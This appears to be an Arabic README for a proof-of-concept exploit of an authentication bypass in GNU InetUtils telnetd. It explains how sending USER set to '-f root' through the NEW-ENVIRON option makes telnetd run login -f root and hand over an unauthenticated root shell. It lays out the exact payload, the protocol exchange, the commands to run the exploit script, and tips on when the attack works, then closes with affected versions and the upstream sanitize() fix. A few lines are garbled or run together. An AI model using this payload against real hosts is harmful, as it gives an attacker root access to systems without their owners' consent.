
إثبات مفهوم لاستغلال CVE-2026-24061، وهو تجاوز للمصادقة في telnetd عبر حقن الوسائط في متغير البيئة USER، مما يسمح بالوصول غير المصادق إلى قشرة صلاحيات الجذر (root shell).
حقن وسائط في telnetd من GNU InetUtils. الإصدارات من 1.9.3 إلى 2.7. درجة الخطورة CVSS 9.8. مدرج في CISA KEV منذ 26.01.2026، أي أنه يُستغل بنشاط في البرية.
الفكرة كلها تكمن في أن telnetd يأخذ قيمة متغير البيئة USER من العميل عبر NEW-ENVIRON (RFC 1572) ويلصقها دون أي تحقق مباشرة في استدعاء login(1). إذا أرسل العميل USER="-f root"، فسيشغّل telnetd:
/usr/bin/login -p -h <host> -f root
العلامة -f في login تعني "سجّل دخول هذا المستخدم بدون كلمة مرور". شل الجذر، بدون أي مصادقة.
في telnetd/telnetd.c يوجد قالب استدعاء login:
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u هو المستخدم من مصادقة telnet (موثوق). %U هو القيمة الخام لمتغير البيئة USER من العميل (غير موثوق). عندما لا تكون المصادقة نشطة، يُستخدم %U.
توسيع المتغيرات موجود في telnetd/utility.c، الدالة _var_short_name:
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
لا يوجد أي تصفية. أي شيء يرسله العميل في USER يذهب مباشرة إلى سطر أوامر login. ليس فقط -f root يعمل، نظريًا يمكن حقن أي وسيط يقبله login.
أُدخل الخطأ في commit حماية من upstream بتاريخ 2015-03-19 (fa3245ac). ومن المفارقة، أن هذا الـ commit كان يهدف إلى تحسين معالجة متغير USER. كان لدى Debian تصحيح لهذا في 2019 (0028-telnetd-Scrub-USER-from-environment.patch)، لكن عند إصلاح CVE-2020-10188 في Debian 10 ضاع التصحيح وعاد الخطأ. لذا فإن Debian 10+ وUbuntu والمشتقات معرضة أيضًا.
main.py هو عميل telnet بسيط يقوم بـ:
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SElogin -f root، فتحصل على شلklient serwer
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
Ctrl+C ينهي الجلسة.
لا تجرب هذا على أنظمة لا تحتوي على inetutils-telnetd. حزمة telnetd من netkit هي كود مختلف، وهي غير معرضة لهذا الخطأ تحديدًا. إذا اتصلت وحصلت على موجه login عادي بدلاً من شل، فإما أن الخادم لديه التصحيح بالفعل، أو أنه ليس telnetd من inetutils.
لا تغيّر الحمولة إلى -f <مستخدم_آخر> متوقعًا أنها ستعمل على كل نظام. login(1) من بعض التوزيعات لديه قيود إضافية على -f. على Debian/Ubuntu القياسي، -f root يعمل دون مشاكل.
| البرنامج | الإصدارات |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd (حتى التصحيح) |
| Debian 11 | مُصلح في 2:2.0-1+deb11u3 |
| Ubuntu | inetutils-telnetd (حتى التصحيح) |
الإصلاح الرسمي يضيف دالة sanitize() التي ترفض القيم التي تبدأ بـ - أو تحتوي على محارف شل خاصة. تُطبق على جميع المتغيرات في التوسيع، وليس فقط USER.
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - تصحيح USERccba9f7 - تعقيم جميع المتغيرات